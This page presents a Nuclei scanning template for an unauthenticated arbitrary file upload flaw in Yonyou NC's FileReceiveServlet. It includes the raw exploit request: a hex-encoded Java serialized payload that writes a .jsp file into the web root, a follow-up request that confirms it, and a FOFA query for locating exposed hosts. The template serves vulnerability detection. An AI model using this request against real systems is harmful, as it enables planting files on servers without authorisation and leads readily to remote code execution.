Yonyou NC FileReceiveServlet - Aribitrary File Upload

ID: yonyou-filereceiveservlet-fileupload

Severity: critical

Author: bjxsec

Tags: yonyou,file-upload,intrusive

Description

An unauthorized attacker can upload a file via the FileReceiveServlet endpoint.

YAML Source

id: yonyou-filereceiveservlet-fileupload

info:
  name: Yonyou NC FileReceiveServlet - Aribitrary File Upload
  author: bjxsec
  severity: critical
  description: |
    An unauthorized attacker can upload a file via the FileReceiveServlet endpoint.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/yonyou-nc-arbitrary-file-upload.yaml
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="用友-UFIDA-NC"
  tags: yonyou,file-upload,intrusive
variables:
  file_name: "{{to_upper(rand_text_alphanumeric(5))}}.jsp"
  file_content: "{{randstr}}"

http:
  - raw:
      - |
        POST /servlet/FileReceiveServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data;

        {{hex_decode("ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C7708000000100000000274000946494C455F4E414D45740009")}}{{file_name}}{{hex_decode("7400105441524745545F46494C455F504154487400102E2F776562617070732F6E635F77656278")}}{{file_content}}
      - |
        GET /{{file_name}} HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200"
          - "contains(body_2, '{{file_content}}')"
        condition: and
# digest: 490a00463044022072982f5e82c597f137d283979344365db9763e293d5f4429182c307e859956460220636267780d17d89b04a756c42ad78669ce87a194a08050e798505870e3c70661:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/yonyou/yonyou-filereceiveservlet-fileupload.yaml"

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